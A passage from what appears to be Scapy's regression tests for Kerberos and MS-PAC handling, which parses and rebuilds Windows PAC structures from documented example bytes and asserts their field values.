xa8&xn)\x08^\xc0H\xbc\x19\xb7-a?N=?\x93\x97\xb2Q\xe0\x04`T\x1bS2\xd8\xbc3d\xef?\x1e\xab\xc2\x82\xcc\xa4\xe7\xd9\xe6\xe2\xd3\xe9Q\x83\x11\xf4\xfb\x82\xa4y\x176\xaf\xf4_\xbf\xa196\xb4\x05B\xc7\xb3\xd2\x0c\x8c\x18\x95\xe1\xba\x97=Y|\x19k\x0c\xf2\xb3\x0fAV\xd1\x04\xeffX\xcd*?\x03S\x92\x0b\x85\x00\x99x+sh\x07\xd2zl\xbbUS\xf0A\x1aS\xa1\x1fFRf\xc6\x9b\x8dV\x85\x14kE\xae\xef\x05\x18Nx\t\xc8K\xd2\xfd1\xc2\xb9H\xde:L\xd5h%c\xa5,$b\xf9\xa2\xce\xa6\xe5X\x11\xb9\x12\xe7\xd6\x1d\x1f\x03\x8e\xba\xc8>=\x8f\xca\xdf\x80U\xce\x16\xb50w\xaes\xa9)\xdd\x863f\xad2\xc6t`\xc1>\x9d;7o\xa6\xef\x08}1S\xb3\xf7\xdf\xa6\xa0@\xae=\xa3\xb8H\x89\x0f\xdd\x7f\xed\xa4\x19\xf5\x94\xc91\xb9B\xca"\x93\xc1\x05&\xbd\x8c\x82\xdf;C\xcb\xd4R\xc8>\xde\xd8j@\x81\xb6\xa7r\xe9\xb5\xb2\xe0\r:\x8d+\x89\xe1\xee\xf5Aj\x8d\xfb\xa0\xd8?\x06\x10D\xcc\xa6?@\'\xc06^\xfa^s\xe6\r\x8d\x1e\x9cv\xd6\xce\xda)Q\x7f\x83\xba\xe0\xc7R\x82\xe9\xbf\xb8\x88\x12\xe7\x13\xc4\xc4/\x8f\x1d\xde\x197\xe8\x9aFe:\xc33\x02\xbc\x85q7\xbc\xde#\x1e\xdb\x7f\xf2#\xda\x80IT,\xc5\xe7\xe7)\x1a\xb0\x0e-\xbe\xf8\x14\xee\xa1\x82\x1c\x99j\xe4}\x84\xb4\xcc\x10\x84\xean\xc8\x9f\xe7=a2\xa7\x84\xa1\x87\x00n\xd7\x9b\xd2\xe8c\xc7\x9f\xca\xbd=\xdch*\x1b\x0f\xceH\x81\xf7\xdc\x1a\x93A\xdbJ\xe3\x936\xe3\xff\xfb!\'\xe3\x1b"\xff\xc6\x1b4\x98\xde\xc1%A3\x16\x7f&\xafM\xdfX\xfb\\\x1d\x91Vp\x19\xcd\xd8\xe3$\x13J\x9c\x89\xbc~\x07O\xac?\x0c\xa6\x80yZ\xef0\xef}\x89BA\xe9k\xfa\xf9P\x97\xe5\x14\xd4+/_\xa6\xba\xf9\x04Ph\xe1\x1a\xb5=\xd6nq\xd8\x13L\x03\xd5\x19V\xd9e&\xdfJ\x99\x90\xca\xc7\x84\xfb\x08H\xa6Y\xc0T[\x87\xbeok\xb4\xeb\xca\xdb\x9d\xcf|\xbdn\x9f\xde\xb10\xecnWc\x80\x18\x07\xfb\x1eYb{Q\x0e\x0f\xfc\xcbE\xcct\xfe\xd7\x8a\xb6\x1a\x17\xba\xeb\xfdG\xdbz\xa8\xe89\xb5[\x0e\x83kO\xdc|\x14\x92\xdc3\nc\x05~e1') assert isinstance(pkt.innerToken.token.mechToken.value.root, GSSAPI_BLOB) assert pkt.innerToken.token.mechToken.value.root.innerToken.TOK_ID == b'\x01\x00' krb = pkt.innerToken.token.mechToken.value.root.innerToken.root assert isinstance(krb, KRB_AP_REQ) assert krb.ticket.sname.nameString == [b"cifs", b"localdc"] = MSPAC - Parse WIN2K-PAC (real life) from scapy.layers.msrpce.mspac import * # PAC in the example from https://scapy.readthedocs.io/en/latest/layers/kerberos.html#decrypt-fast data = b'\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xd0\x01\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00x\x00\x00\x00p\x02\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xf0\x00\x00\x00\xe8\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00\xd8\x03\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00\x10\x04\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc\xc0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1f\x1cssC\x96\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff\xff\xff\xff\x7fT=pE\xcav\xd8\x01T\xfd\xd9o\x93w\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\x08\x00\x08\x00\x04\x00\x02\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x00\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00F\x00\x00\x00P\x04\x00\x00\x03\x02\x00\x00\x01\x00\x00\x00\x1c\x00\x02\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00 \x00\x02\x00\x08\x00\n\x00$\x00\x02\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00,\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00S\x00R\x00V\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x02\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00D\x00C\x001\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00D\x00O\x00M\x001\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xfa*@1\xb2f\xa6\x1c\x11dp\\\x02\x00\x00\x000\x00\x02\x00\x07\x00\x00\x004\x00\x02\x00\x07\x00\x00\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x01\x00\x00\x01\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x12\x01\x00\x00\x00\x80\xd6^sC\x96\xd8\x01\x08\x00S\x00R\x00V\x00$\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x18\x00\x14\x008\x00\x03\x00\x00\x00\x08\x00P\x00\x1c\x00X\x00\x00\x00\x00\x00S\x00R\x00V\x00$\x00@\x00d\x00o\x00m\x001\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00D\x00O\x00M\x001\x00.\x00L\x00O\x00C\x00A\x00L\x00\x00\x00\x00\x00S\x00R\x00V\x00$\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xfa*@1\xb2f\xa6\x1c\x11dp\\P\x04\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb8\x00\x00\x00\x04\x00\x02\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x04\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x02\x00\x01\x00\x00\x00\x0c\x00\x02\x00\x03\x00\x03\x00\x01\x00\x00\x00\x10\x00\x02\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00a\x00d\x00:\x00/\x00/\x00e\x00x\x00t\x00/\x00A\x00u\x00t\x00h\x00e\x00n\x00t\x00i\x00c\x00a\x00t\x00i\x00o\x00n\x00S\x00i\x00l\x00o\x00\x00\x00\x01\x00\x00\x00\x14\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00T\x000\x00-\x00s\x00i\x00l\x00o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xfa*@1\xb2f\xa6\x1c\x11dp\\P\x04\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00d\xb0qv\xf8\xd3X\x0b\x7f4\xfe\xda\x10\x00\x00\x00\x835J\xa7\x80\xb1S\xcez\x8b\xd2\xc2' pkt = PACTYPE(data) assert len(pkt.Buffers) == 8 assert len(pkt.Payloads) == 8 assert [type(x) for x in pkt.Payloads] == [ NDRSerialization1Header, PAC_CLIENT_INFO, UPN_DNS_INFO, NDRSerialization1Header, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR_SID, PAC_SIGNATURE_DATA, PAC_SIGNATURE_DATA, ] # 0 and 1 are common assert pkt.Payloads[2].Upn == 'SRV$@dom1.local' assert pkt.Payloads[2].DnsDomainName == 'DOM1.LOCAL' assert pkt.Payloads[2].SamName == 'SRV$' assert pkt.Payloads[2].Sid.summary() == 'S-1-5-21-826288890-480667314-1550869521-1104' assert pkt.Payloads[3].valueof("Claims.ClaimsSet.ClaimsArrays")[0].usClaimsSourceType == 1 claimentry = pkt.Payloads[3].valueof("Claims.ClaimsSet.ClaimsArrays")[0].valueof("ClaimEntries")[0] assert claimentry.valueof("Id") == b'ad://ext/AuthenticationSilo' assert claimentry.valueof("Values.StringValues")[0] == b"T0-silo" assert pkt.Payloads[4].Flags[0].PAC_WAS_REQUESTED assert pkt.Payloads[5].Sid.summary() == 'S-1-5-21-826288890-480667314-1550869521-1104' assert pkt.Payloads[6].SignatureType == 16 assert pkt.Payloads[6].Signature == b'd\xb0qv\xf8\xd3X\x0b\x7f4\xfe\xda' assert pkt.Payloads[7].SignatureType == 16 assert pkt.Payloads[7].Signature == b'\x835J\xa7\x80\xb1S\xcez\x8b\xd2\xc2' = MSPAC - Parse WIN2K-PAC (MS-PAC sect 3) # Example data from [MS-PAC] sect 3 - Structural example data = b'0\x82\x05R0\x82\x05N\xa0\x04\x02\x02\x00\x80\xa1\x82\x05D\x04\x82\x05@\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb0\x04\x00\x00H\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\xf8\x04\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00\x10\x05\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00(\x05\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc\xa0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xd1\x86f\x0fej\xc6\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff\xff\xff\xff\x7f\x17\xd49\xfexJ\xc6\x01\x17\x94\xa3(BK\xc6\x01\x17T$\x97z\x81\xc6\x01\x08\x00\x08\x00\x04\x00\x02\x00$\x00$\x00\x08\x00\x02\x00\x12\x00\x12\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x18\x00\x02\x00T\x10\x00\x00\x97y,\x00\x01\x02\x00\x00\x1a\x00\x00\x00\x1c\x00\x02\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x18\x00 \x00\x02\x00\n\x00\x0c\x00$\x00\x02\x00(\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00,\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00l\x00z\x00h\x00u\x00\x12\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00L\x00i\x00q\x00i\x00a\x00n\x00g\x00(\x00L\x00a\x00r\x00r\x00y\x00)\x00 \x00Z\x00h\x00u\x00\t\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00n\x00t\x00d\x00s\x002\x00.\x00b\x00a\x00t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00a\xc43\x00\x07\x00\x00\x00\t\xc3-\x00\x07\x00\x00\x00^\xb42\x00\x07\x00\x00\x00\x01\x02\x00\x00\x07\x00\x00\x00\x97\xb9,\x00\x07\x00\x00\x00+\xf12\x00\x07\x00\x00\x00\xce03\x00\x07\x00\x00\x00\xa7..\x00\x07\x00\x00\x00*\xf12\x00\x07\x00\x00\x00\x98\xb9,\x00\x07\x00\x00\x00b\xc43\x00\x07\x00\x00\x00\x94\x013\x00\x07\x00\x00\x00v\xc43\x00\x07\x00\x00\x00\xae\xfe-\x00\x07\x00\x00\x002\xd2,\x00\x07\x00\x00\x00\x16\x082\x00\x07\x00\x00\x00B[.\x00\x07\x00\x00\x00_\xb42\x00\x07\x00\x00\x00\xca\x9c5\x00\x07\x00\x00\x00\x85D-\x00\x07\x00\x00\x00\xc2\xf02\x00\x07\x00\x00\x00\xe9\xea1\x00\x07\x00\x00\x00\xed\x8e.\x00\x07\x00\x00\x00\xb6\xeb1\x00\x07\x00\x00\x00\xab..\x00\x07\x00\x00\x00r\x0e.\x00\x07\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00N\x00T\x00D\x00E\x00V\x00-\x00D\x00C\x00-\x000\x005\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00N\x00T\x00D\x00E\x00V\x00\x00\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\r\x00\x00\x000\x00\x02\x00\x07\x00\x00\x004\x00\x02\x00\x07\x00\x00 8\x00\x02\x00\x07\x00\x00 <\x00\x02\x00\x07\x00\x00 @\x00\x02\x00\x07\x00\x00 D\x00\x02\x00\x07\x00\x00 H\x00\x02\x00\x07\x00\x00 L\x00\x02\x00\x07\x00\x00 P\x00\x02\x00\x07\x00\x00 T\x00\x02\x00\x07\x00\x00 X\x00\x02\x00\x07\x00\x00 \\\x00\x02\x00\x07\x00\x00 `\x00\x02\x00\x07\x00\x00 \x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xb90\x1b.\xb7ALl\x8c;5\x15\x01\x02\x00\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0btT/\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\xe882\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\xcd82\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b]\xb42\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0bA\x165\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\xe8\xea1\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\xc1\x192\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b)\xf12\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\x0f_.\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b/[.\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\xef\x8f1\x00\x05\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00YQ\xb8\x17fr]%dc;\x0b\x07_.\x00\x00\x00\x00\x00\x00I\xd9\x0eej\xc6\x01\x08\x00l\x00z\x00h\x00u\x00\x00\x00\x00\x00\x00\x00v\xff\xff\xffA\xed\xce\x9a4\x81]:\xef{\xc9\x88t\x80]%\x00\x00\x00\x00v\xff\xff\xff\xf7\xa54\xda\xb2\xc0)\x86\xef\xe0\xfb\xe5\x11\nO2\x00\x00\x00\x00' pkt = AuthorizationData(data) assert isinstance(pkt.seq[0].adData.Payloads[0], NDRSerialization1Header) k = pkt.seq[0].adData.Payloads[0].value assert isinstance(k, KERB_VALIDATION_INFO) assert k.valueof("EffectiveName.Buffer") == b'lzhu' assert k.valueof("LogonDomainName.Buffer") == b"NTDEV" assert "S-1-5-%s" % "-".join(str(x) for x in k.LogonDomainId.value.SubAuthority) == 'S-1-5-21-397955417-626881126-188441444' assert len(k.ExtraSids.value.value) == 13 assert [x.RelativeId for x in k.GroupIds.value.value] == [3392609, 2999049, 3322974, 513, 2931095, 3338539, 3354830, 3026599, 3338538, 2931096, 3392610, 3342740, 3392630, 3014318, 2937394, 3278870, 3038018, 3322975, 3513546, 2966661, 3338434, 3271401, 3051245, 3271606, 3026603, 3018354] assert isinstance(pkt.seq[0].adData.Payloads[1], PAC_CLIENT_INFO) assert pkt.seq[0].adData.Payloads[1].Name == 'lzhu' assert isinstance(pkt.seq[0].adData.Payloads[2], PAC_SIGNATURE_DATA) assert len(pkt.seq[0].adData.Payloads[2].Signature) == 16 assert isinstance(pkt.seq[0].adData.Payloads[3], PAC_SIGNATURE_DATA) assert pkt.seq[0].adData.Payloads[3].Signature == b'\xf7\xa54\xda\xb2\xc0)\x86\xef\xe0\xfb\xe5\x11\nO2' = MSPAC - Build WIN2K-PAC (MS-PAC sect 3) pkt = PACTYPE( Buffers=[ PAC_INFO_BUFFER(ulType=1, cbBufferSize=1200, Offset=72), PAC_INFO_BUFFER(ulType=10, cbBufferSize=18, Offset=1272), PAC_INFO_BUFFER(ulType=6, cbBufferSize=20, Offset=1296), PAC_INFO_BUFFER(ulType=7, cbBufferSize=20, Offset=1320), ], Payloads=[ NDRSerialization1Header( Version=1, Endianness=16, CommonHeaderLength=8, Filler=3435973836, ) / NDRSerialization1PrivateHeader(ObjectBufferLength=1184, Filler=0) / NDRPointer( referent_id=131072, value=KERB_VALIDATION_INFO( LogonTime=FILETIME(dwLowDateTime=258377425, dwHighDateTime=29780581), LogoffTime=FILETIME( dwLowDateTime=4294967295, dwHighDateTime=2147483647 ), KickOffTime=FILETIME( dwLowDateTime=4294967295, dwHighDateTime=2147483647 ), PasswordLastSet=FILETIME( dwLowDateTime=4265202711, dwHighDateTime=29772408 ), PasswordCanChange=FILETIME( dwLowDateTime=681808919, dwHighDateTime=29772610 ), PasswordMustChange=FILETIME( dwLowDateTime=2535740439, dwHighDateTime=29786490 ), EffectiveName=RPC_UNICODE_STRING( Length=8, MaximumLength=8, Buffer=NDRPointer( referent_id=131076, value=NDRConformantArray( max_count=4, value=[ NDRVaryingArray(offset=0, actual_count=4, value=b"lzhu") ], ), ), ), FullName=RPC_UNICODE_STRING( Length=36, MaximumLength=36, Buffer=NDRPointer( referent_id=131080, value=NDRConformantArray( max_count=18, value=[ NDRVaryingArray( offset=0, actual_count=18, value=b"Liqiang(Larry) Zhu", ) ], ), ), ), LogonScript=RPC_UNICODE_STRING( Length=18, MaximumLength=18, Buffer=NDRPointer( referent_id=131084, value=NDRConformantArray( max_count=9, value=[ NDRVaryingArray( offset=0, actual_count=9, value=b"ntds2.bat", ) ], ), ), ), ProfilePath=RPC_UNICODE_STRING( Length=0, MaximumLength=0, Buffer=NDRPointer( referent_id=131088, value=NDRConformantArray( max_count=0, value=[ NDRVaryingArray(offset=0, actual_count=0, value=b"") ], ), ), ), HomeDirectory=RPC_UNICODE_STRING( Length=0, MaximumLength=0, Buffer=NDRPointer( referent_id=131092, value=NDRConformantArray( max_count=0, value=[ NDRVaryingArray(offset=0, actual_count=0, value=b"") ], ), ), ), HomeDirectoryDrive=RPC_UNICODE_STRING( Length=0, MaximumLength=0, Buffer=NDRPointer( referent_id=131096, value=NDRConformantArray( max_count=0, value=[ NDRVaryingArray(offset=0, actual_count=0, value=b"") ], ), ), ), UserSessionKey=USER_SESSION_KEY( data=[ CYPHER_BLOCK(data=b"\x00\x00\x00\x00\x00\x00\x00\x00"), CYPHER_BLOCK(data=b"\x00\x00\x00\x00\x00\x00\x00\x00"), ] ), LogonServer=RPC_UNICODE_STRING( Length=22, MaximumLength=24, Buffer=NDRPointer( referent_id=131104, value=NDRConformantArray( max_count=12, value=[ NDRVaryingArray( offset=0, actual_count=11, value=b"NTDEV-DC-05", ) ], ), ), ), LogonDomainName=RPC_UNICODE_STRING( Length=10, MaximumLength=12, Buffer=NDRPointer( referent_id=131108, value=NDRConformantArray( max_count=6, value=[ NDRVaryingArray( offset=0, actual_count=5, value=b"NTDEV" ) ], ), ), ), Reserved1=[0, 0], Reserved3=[0, 0, 0, 0, 0, 0, 0], LogonCount=4180, BadPasswordCount=0, UserId=2914711, PrimaryGroupId=513, GroupCount=26, GroupIds=NDRPointer( referent_id=131100, value=NDRConformantArray( max_count=26, value=[ GROUP_MEMBERSHIP(RelativeId=3392609, Attributes=7), GROUP_MEMBERSHIP(RelativeId=2999049, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3322974, Attributes=7), GROUP_MEMBERSHIP(RelativeId=513, Attributes=7), GROUP_MEMBERSHIP(RelativeId=2931095, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3338539, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3354830, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3026599, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3338538, Attributes=7), GROUP_MEMBERSHIP(RelativeId=2931096, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3392610, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3342740, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3392630, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3014318, Attributes=7), GROUP_MEMBERSHIP(RelativeId=2937394, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3278870, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3038018, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3322975, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3513546, Attributes=7), GROUP_MEMBERSHIP(RelativeId=2966661, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3338434, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3271401, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3051245, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3271606, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3026603, Attributes=7), GROUP_MEMBERSHIP(RelativeId=3018354, Attributes=7), ], ), ), UserFlags=32, LogonDomainId=NDRPointer( referent_id=131112, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[21, 397955417, 626881126, 188441444], max_count=4, Revision=1, SubAuthorityCount=4, ), ), UserAccountControl=16, SidCount=13, ExtraSids=NDRPointer( referent_id=131116, value=NDRConformantArray( max_count=13, value=[ KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131120, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 773533881, 1816936887, 355810188, 513, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=7, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131124, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3101812, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131128, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3291368, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131132, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3291341, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131136, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3322973, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131140, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3479105, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131144, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3271400, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131148, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3283393, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131152, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3338537, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131156, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3038991, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131160, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3037999, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131164, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3248111, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), KERB_SID_AND_ATTRIBUTES( Sid=NDRPointer( referent_id=131168, value=SID( IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY( Value=b"\x00\x00\x00\x00\x00\x05" ), SubAuthority=[ 21, 397955417, 626881126, 188441444, 3038983, ], max_count=5, Revision=1, SubAuthorityCount=5, ), ), Attributes=536870919, ), ], ), ), ResourceGroupDomainSid=None, ResourceGroupCount=0, ResourceGroupIds=None, ), ) / Padding(), PAC_CLIENT_INFO(ClientId=127906621700000000, NameLength=8, Name="lzhu"), PAC_SIGNATURE_DATA( 